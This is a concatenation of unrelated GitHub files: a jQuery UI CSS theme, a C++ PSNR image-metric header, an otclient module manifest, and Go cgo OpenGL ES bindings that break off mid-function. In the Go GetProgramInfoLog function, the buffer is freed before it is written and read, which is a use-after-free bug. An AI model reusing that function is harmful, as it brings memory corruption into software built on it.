middle; } .ui-spinner-input { border: none; background: none; padding: 0; margin: .2em 0; vertical-align: middle; margin-left: .4em; margin-right: 22px; } .ui-spinner-button { width: 16px; height: 50%; font-size: .5em; padding: 0; margin: 0; z-index: 100; text-align: center; position: absolute; cursor: default; display: block; overflow: hidden; right: 0; } .ui-spinner a.ui-spinner-button { border-top: none; border-bottom: none; border-right: none; } /* more specificity required here to overide default borders */ .ui-spinner .ui-icon { position: absolute; margin-top: -8px; top: 50%; left: 0; } /* vertical centre icon */ .ui-spinner-up { top: 0; } .ui-spinner-down { bottom: 0; } /* TR overrides */ span.ui-spinner { background: none; } .ui-spinner .ui-icon-triangle-1-s { /* need to fix icons sprite */ background-position:-65px -16px; } .ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 0; margin: 1px .2em 0 0; border-bottom: 0; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-active { margin-bottom: -1px; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-active a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-tabs-loading a { cursor: text; } .ui-tabs .ui-tabs-nav li a, .ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tooltip { padding:8px; position:absolute; z-index:9999; -o-box-shadow: 0 0 5px #aaa; -moz-box-shadow: 0 0 5px #aaa; -webkit-box-shadow: 0 0 5px #aaa; box-shadow: 0 0 5px #aaa; } /* Fades and background-images don't work well together in IE6, drop the image */ * html .ui-tooltip { background-image: none; } body .ui-tooltip { border-width:2px; } /* Component containers ----------------------------------*/ .ui-widget { font-family: sans-serif; font-size: 14px; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #cfcfcf; background: #f2f2f2 url(images/ui-bg_flat_75_f2f2f2_40x100.png) 50% 50% repeat-x; color: #222222; } .ui-widget-content a { color: #222222; } .ui-widget-header { border: 1px solid #aaaaaa; background: #2b2b2b url(images/ui-bg_inset-hard_5_2b2b2b_1x100.png) 50% 50% repeat-x; color: #d6d6d6; font-weight: bold; } .ui-widget-header a { color: #d6d6d6; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #d6b18a; background: #ffc905 url(images/ui-bg_inset-soft_45_ffc905_1x100.png) 50% 50% repeat-x; font-weight: normal; color: #8a4d0f; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #8a4d0f; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #d1a200; background: #ffec52 url(images/ui-bg_inset-soft_75_ffec52_1x100.png) 50% 50% repeat-x; font-weight: normal; color: #754b00; } .ui-state-hover a, .ui-state-hover a:hover { color: #754b00; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #2e2e2e; background: #5e5e5e url(images/ui-bg_inset-soft_15_5e5e5e_1x100.png) 50% 50% repeat-x; font-weight: normal; color: #ffffff; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #ffffff; text-decoration: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #000000; background: #383838 url(images/ui-bg_flat_100_383838_40x100.png) 50% 50% repeat-x; color: #dedede; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #dedede; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #e9754e; background: #ff6124 url(images/ui-bg_inset-soft_95_ff6124_1x100.png) 50% bottom repeat-x; color: #752400; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #752400; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #752400; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_ffc905_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_774322_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_8a4e19_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_1c1c1c_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_ffbc0f_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_303030_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-on { background-position: -96px -144px; } .ui-icon-radio-off { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 5px; -webkit-border-top-left-radius: 5px; -khtml-border-top-left-radius: 5px; border-top-left-radius: 5px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 5px; -webkit-border-top-right-radius: 5px; -khtml-border-top-right-radius: 5px; border-top-right-radius: 5px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 5px; -webkit-border-bottom-left-radius: 5px; -khtml-border-bottom-left-radius: 5px; border-bottom-left-radius: 5px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 5px; -webkit-border-bottom-right-radius: 5px; -khtml-border-bottom-right-radius: 5px; border-bottom-right-radius: 5px; } /* Overlays */ .ui-widget-overlay { background: #303030 url(images/ui-bg_flat_0_303030_40x100.png) 50% 50% repeat-x; opacity: .7;filter:Alpha(Opacity=70); } .ui-widget-shadow { margin: -6px 0 0 -6px; padding: 6px; background: #303030 url(images/ui-bg_flat_0_303030_40x100.png) 50% 50% repeat-x; opacity: .7;filter:Alpha(Opacity=70); -moz-border-radius: 8px; -khtml-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; }
{ "pile_set_name": "Github" }
// // Copyright(c) Multimedia Signal Processing Group (MMSPG), // Ecole Polytechnique Fédérale de Lausanne (EPFL) // http://mmspg.epfl.ch // All rights reserved. // Author: Philippe Hanhart ([email protected]) // // Permission is hereby granted, without written agreement and without // license or royalty fees, to use, copy, modify, and distribute the // software provided and its documentation for research purpose only, // provided that this copyright notice and the original authors' names // appear on all copies and supporting documentation. // The software provided may not be commercially distributed. // In no event shall the Ecole Polytechnique Fédérale de Lausanne (EPFL) // be liable to any party for direct, indirect, special, incidental, or // consequential damages arising out of the use of the software and its // documentation. // The Ecole Polytechnique Fédérale de Lausanne (EPFL) specifically // disclaims any warranties. // The software provided hereunder is on an "as is" basis and the Ecole // Polytechnique Fédérale de Lausanne (EPFL) has no obligation to provide // maintenance, support, updates, enhancements, or modifications. // /************************************************************************** Calculation of the Peak Signal-to-Noise Ratio (PSNR) image quality measure. **************************************************************************/ #ifndef PSNR_hpp #define PSNR_hpp #include "Metric.hpp" class PSNR : protected Metric { public: PSNR(int height, int width); // Compute the PSNR index of the processed image float compute(const cv::Mat& original, const cv::Mat& processed); }; #endif
{ "pile_set_name": "Github" }
Module name: client_modulemanager description: Manage other modules author: edubart website: https://github.com/edubart/otclient sandboxed: true scripts: [ modulemanager ] dependencies: [ client_topmenu ] @onLoad: init() @onUnload: terminate()
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build darwin linux // +build arm arm64 package gl /* #include <stdlib.h> #ifdef os_darwin_arm #include <OpenGLES/ES2/glext.h> #endif #ifdef os_linux_arm #include <GLES2/gl2.h> #endif */ import "C" import "unsafe" var ContextWatcher contextWatcher type contextWatcher struct{} func (contextWatcher) OnMakeCurrent(context interface{}) {} func (contextWatcher) OnDetach() {} func ActiveTexture(texture Enum) { C.glActiveTexture(texture.c()) } func AttachShader(p Program, s Shader) { C.glAttachShader(p.c(), s.c()) } func BindAttribLocation(p Program, a Attrib, name string) { str := unsafe.Pointer(C.CString(name)) defer C.free(str) C.glBindAttribLocation(p.c(), a.c(), (*C.GLchar)(str)) } func BindBuffer(target Enum, b Buffer) { C.glBindBuffer(target.c(), b.c()) } func BindFramebuffer(target Enum, fb Framebuffer) { C.glBindFramebuffer(target.c(), fb.c()) } func BindRenderbuffer(target Enum, rb Renderbuffer) { C.glBindRenderbuffer(target.c(), rb.c()) } func BindTexture(target Enum, t Texture) { C.glBindTexture(target.c(), t.c()) } func BlendColor(red, green, blue, alpha float32) { blendColor(red, green, blue, alpha) } func BlendEquation(mode Enum) { C.glBlendEquation(mode.c()) } func BlendEquationSeparate(modeRGB, modeAlpha Enum) { C.glBlendEquationSeparate(modeRGB.c(), modeAlpha.c()) } func BlendFunc(sfactor, dfactor Enum) { C.glBlendFunc(sfactor.c(), dfactor.c()) } func BlendFuncSeparate(sfactorRGB, dfactorRGB, sfactorAlpha, dfactorAlpha Enum) { C.glBlendFuncSeparate(sfactorRGB.c(), dfactorRGB.c(), sfactorAlpha.c(), dfactorAlpha.c()) } func BufferData(target Enum, src []byte, usage Enum) { C.glBufferData(target.c(), C.GLsizeiptr(len(src)), unsafe.Pointer(&src[0]), usage.c()) } func BufferInit(target Enum, size int, usage Enum) { C.glBufferData(target.c(), C.GLsizeiptr(size), nil, usage.c()) } func BufferSubData(target Enum, offset int, data []byte) { C.glBufferSubData(target.c(), C.GLintptr(offset), C.GLsizeiptr(len(data)), unsafe.Pointer(&data[0])) } func CheckFramebufferStatus(target Enum) Enum { return Enum(C.glCheckFramebufferStatus(target.c())) } func Clear(mask Enum) { C.glClear(C.GLbitfield(mask)) } func ClearColor(red, green, blue, alpha float32) { clearColor(red, green, blue, alpha) } func ClearDepthf(d float32) { clearDepthf(d) } func ClearStencil(s int) { C.glClearStencil(C.GLint(s)) } func ColorMask(red, green, blue, alpha bool) { C.glColorMask(glBoolean(red), glBoolean(green), glBoolean(blue), glBoolean(alpha)) } func CompileShader(s Shader) { C.glCompileShader(s.c()) } func CompressedTexImage2D(target Enum, level int, internalformat Enum, width, height, border int, data []byte) { C.glCompressedTexImage2D(target.c(), C.GLint(level), internalformat.c(), C.GLsizei(width), C.GLsizei(height), C.GLint(border), C.GLsizei(len(data)), unsafe.Pointer(&data[0])) } func CompressedTexSubImage2D(target Enum, level, xoffset, yoffset, width, height int, format Enum, data []byte) { C.glCompressedTexSubImage2D(target.c(), C.GLint(level), C.GLint(xoffset), C.GLint(yoffset), C.GLsizei(width), C.GLsizei(height), format.c(), C.GLsizei(len(data)), unsafe.Pointer(&data[0])) } func CopyTexImage2D(target Enum, level int, internalformat Enum, x, y, width, height, border int) { C.glCopyTexImage2D(target.c(), C.GLint(level), internalformat.c(), C.GLint(x), C.GLint(y), C.GLsizei(width), C.GLsizei(height), C.GLint(border)) } func CopyTexSubImage2D(target Enum, level, xoffset, yoffset, x, y, width, height int) { C.glCopyTexSubImage2D(target.c(), C.GLint(level), C.GLint(xoffset), C.GLint(yoffset), C.GLint(x), C.GLint(y), C.GLsizei(width), C.GLsizei(height)) } func CreateBuffer() Buffer { var b Buffer C.glGenBuffers(1, (*C.GLuint)(&b.Value)) return b } func CreateFramebuffer() Framebuffer { var b Framebuffer C.glGenFramebuffers(1, (*C.GLuint)(&b.Value)) return b } func CreateProgram() Program { return Program{Value: uint32(C.glCreateProgram())} } func CreateRenderbuffer() Renderbuffer { var b Renderbuffer C.glGenRenderbuffers(1, (*C.GLuint)(&b.Value)) return b } func CreateShader(ty Enum) Shader { return Shader{Value: uint32(C.glCreateShader(ty.c()))} } func CreateTexture() Texture { var t Texture C.glGenTextures(1, (*C.GLuint)(&t.Value)) return t } func CullFace(mode Enum) { C.glCullFace(mode.c()) } func DeleteBuffer(v Buffer) { C.glDeleteBuffers(1, (*C.GLuint)(&v.Value)) } func DeleteFramebuffer(v Framebuffer) { C.glDeleteFramebuffers(1, (*C.GLuint)(&v.Value)) } func DeleteProgram(p Program) { C.glDeleteProgram(p.c()) } func DeleteRenderbuffer(v Renderbuffer) { C.glDeleteRenderbuffers(1, (*C.GLuint)(&v.Value)) } func DeleteShader(s Shader) { C.glDeleteShader(s.c()) } func DeleteTexture(v Texture) { C.glDeleteTextures(1, (*C.GLuint)(&v.Value)) } func DepthFunc(fn Enum) { C.glDepthFunc(fn.c()) } func DepthMask(flag bool) { C.glDepthMask(glBoolean(flag)) } func DepthRangef(n, f float32) { depthRangef(n, f) } func DetachShader(p Program, s Shader) { C.glDetachShader(p.c(), s.c()) } func Disable(cap Enum) { C.glDisable(cap.c()) } func DisableVertexAttribArray(a Attrib) { C.glDisableVertexAttribArray(a.c()) } func DrawArrays(mode Enum, first, count int) { C.glDrawArrays(mode.c(), C.GLint(first), C.GLsizei(count)) } func DrawElements(mode Enum, count int, ty Enum, offset int) { C.glDrawElements(mode.c(), C.GLsizei(count), ty.c(), unsafe.Pointer(uintptr(offset))) } func Enable(cap Enum) { C.glEnable(cap.c()) } func EnableVertexAttribArray(a Attrib) { C.glEnableVertexAttribArray(a.c()) } func Finish() { C.glFinish() } func Flush() { C.glFlush() } func FramebufferRenderbuffer(target, attachment, rbTarget Enum, rb Renderbuffer) { C.glFramebufferRenderbuffer(target.c(), attachment.c(), rbTarget.c(), rb.c()) } func FramebufferTexture2D(target, attachment, texTarget Enum, t Texture, level int) { C.glFramebufferTexture2D(target.c(), attachment.c(), texTarget.c(), t.c(), C.GLint(level)) } func FrontFace(mode Enum) { C.glFrontFace(mode.c()) } func GenerateMipmap(target Enum) { C.glGenerateMipmap(target.c()) } func GetActiveAttrib(p Program, index uint32) (name string, size int, ty Enum) { bufSize := GetProgrami(p, ACTIVE_ATTRIBUTE_MAX_LENGTH) buf := C.malloc(C.size_t(bufSize)) defer C.free(buf) var cSize C.GLint var cType C.GLenum C.glGetActiveAttrib(p.c(), C.GLuint(index), C.GLsizei(bufSize), nil, &cSize, &cType, (*C.GLchar)(buf)) return C.GoString((*C.char)(buf)), int(cSize), Enum(cType) } func GetActiveUniform(p Program, index uint32) (name string, size int, ty Enum) { bufSize := GetProgrami(p, ACTIVE_UNIFORM_MAX_LENGTH) buf := C.malloc(C.size_t(bufSize)) defer C.free(buf) var cSize C.GLint var cType C.GLenum C.glGetActiveUniform(p.c(), C.GLuint(index), C.GLsizei(bufSize), nil, &cSize, &cType, (*C.GLchar)(buf)) return C.GoString((*C.char)(buf)), int(cSize), Enum(cType) } func GetAttachedShaders(p Program) []Shader { shadersLen := GetProgrami(p, ATTACHED_SHADERS) var n C.GLsizei buf := make([]C.GLuint, shadersLen) C.glGetAttachedShaders(p.c(), C.GLsizei(shadersLen), &n, &buf[0]) buf = buf[:int(n)] shaders := make([]Shader, len(buf)) for i, s := range buf { shaders[i] = Shader{Value: uint32(s)} } return shaders } func GetAttribLocation(p Program, name string) Attrib { str := unsafe.Pointer(C.CString(name)) defer C.free(str) return Attrib{Value: uint(C.glGetAttribLocation(p.c(), (*C.GLchar)(str)))} } func GetBooleanv(dst []bool, pname Enum) { buf := make([]C.GLboolean, len(dst)) C.glGetBooleanv(pname.c(), &buf[0]) for i, v := range buf { dst[i] = v != 0 } } func GetFloatv(dst []float32, pname Enum) { C.glGetFloatv(pname.c(), (*C.GLfloat)(&dst[0])) } func GetIntegerv(pname Enum, data []int32) { buf := make([]C.GLint, len(data)) C.glGetIntegerv(pname.c(), &buf[0]) for i, v := range buf { data[i] = int32(v) } } func GetInteger(pname Enum) int { var v C.GLint C.glGetIntegerv(pname.c(), &v) return int(v) } func GetBufferParameteri(target, pname Enum) int { var params C.GLint C.glGetBufferParameteriv(target.c(), pname.c(), &params) return int(params) } func GetError() Enum { return Enum(C.glGetError()) } func GetBoundFramebuffer() Framebuffer { println("GetBoundFramebuffer: not yet tested (TODO: remove this after it's confirmed to work. Your feedback is welcome.)") var b C.GLint C.glGetIntegerv(FRAMEBUFFER_BINDING, &b) return Framebuffer{Value: uint32(b)} } func GetFramebufferAttachmentParameteri(target, attachment, pname Enum) int { var params C.GLint C.glGetFramebufferAttachmentParameteriv(target.c(), attachment.c(), pname.c(), &params) return int(params) } func GetProgrami(p Program, pname Enum) int { var params C.GLint C.glGetProgramiv(p.c(), pname.c(), &params) return int(params) } func GetProgramInfoLog(p Program) string { infoLen := GetProgrami(p, INFO_LOG_LENGTH) buf := C.malloc(C.size_t(infoLen)) C.free(buf) C.glGetProgramInfoLog(p.c(), C.GLsizei(infoLen), nil, (*C.GLchar)(buf)) return C.GoString((*C.char)(buf)) } func GetRenderbufferParameteri(target, pname Enum) int { var params C.GLint C.glGetRenderbufferParameteriv(target.c(), pname.c(), &params) return int(params) } func GetShaderi(s Shader, pname Enum) int { var params C.GLint C.glGetShaderiv(s.c(), pname.c(), &params) return int(params) } func GetShaderInfoLog(s Shader) string { infoLen := GetShaderi(s, INFO_LOG_LENGTH) buf := C.malloc(C.size_t(infoLen)) defer C.free(buf) C.glGetShaderInfoLog(s.c(), C.GLsizei(infoLen), nil, (*C.GLchar)(buf)) return C.GoString((*C.char)(buf)) } func GetShaderPrecisionFormat(shadertype, precisiontype Enum) (rangeLow, rangeHigh, precision int) { const glintSize = 4 var cRange [2]C.GLint var cPrecision C.GLint C.glGetShaderPrecisionFormat(shadertype.c(), precisiontype.c(), &cRange[0], &cPrecision) return int(cRange[0]), int(cRange[1]), int(cPrecision) } func GetShaderSource(s Shader) string { sourceLen := GetShaderi(s, SHADER_SOURCE_LENGTH) if sourceLen == 0 { return "" } buf := C.malloc(C.size_t(sourceLen)) defer C.free(buf) C.glGetShaderSource(s.c(), C.GLsizei(sourceLen), nil, (*C.GLchar)(buf)) return C.GoString((*C.char)(buf)) } func GetString(pname Enum) string { // Bounce through unsafe.Pointer, because on some platforms // GetString returns an *unsigned char which doesn't convert. return C.GoString((*C.char)((unsafe.Pointer)(C.glGetString(pname.c())))) } func GetTexParameterfv(dst []float32, target, pname Enum) { C.glGetTexParameterfv(target.c(), pname.c(), (*C.GLfloat)(&dst[0])) } func GetTexParameteriv(dst []int32, target, pname Enum) { C.glGetTexParameteriv(target.c(), pname.c(), (*C.GLint)(&dst[0])) } func GetUniformfv(dst []float32, src Uniform, p Program) { C.glGetUniformfv(p.c(), src.c(), (*C.GLfloat)(&dst[0])) } func GetUniformiv(dst []int32, src Uniform, p Program) { C.glGetUniformiv(p.c(), src.c(), (*C.GLint)(&dst[0])) } func GetUniformLocation(p Program, name string) Uniform { str := unsafe.Pointer(C.CString(name)) defer C.free(str) return Uniform{Value: int32(C.glGetUniformLocation(p.c(), (*C.GLchar)(str)))} } func GetVertexAttribf(src Attrib, pname Enum) float32 { var params C.GLfloat C.glGetVertexAttribfv(src.c(), pname.c(), &params) return float32(params) } func GetVertexAttribfv(dst []float32, src Attrib, pname Enum) { C.glGetVertexAttribfv(src.c(), pname.c(), (*C.GLfloat)(&dst[0])) } func GetVertexAttribi(src Attrib, pname Enum) int32 { var params C.GLint C.glGetVertexAttribiv(src.c(), pname.c(), &params) return int32(params) } func GetVertexAttribiv(dst []int32, src Attrib, pname Enum) { C.glGetVertexAttribiv(src.c(), pname.c(), (*C.GLint)(&dst[0])) } func Hint(target, mode Enum) { C.glHint(target.c(), mode.c()) } func IsBuffer(b Buffer) bool { return C.glIsBuffer(b.c()) != 0 } func IsEnabled(cap Enum) bool { return C.glIsEnabled(cap.c()) != 0 } func IsFramebuffer(fb Framebuffer) bool { return C.glIsFramebuffer(fb.c()) != 0 } func IsProgram(p Program) bool { 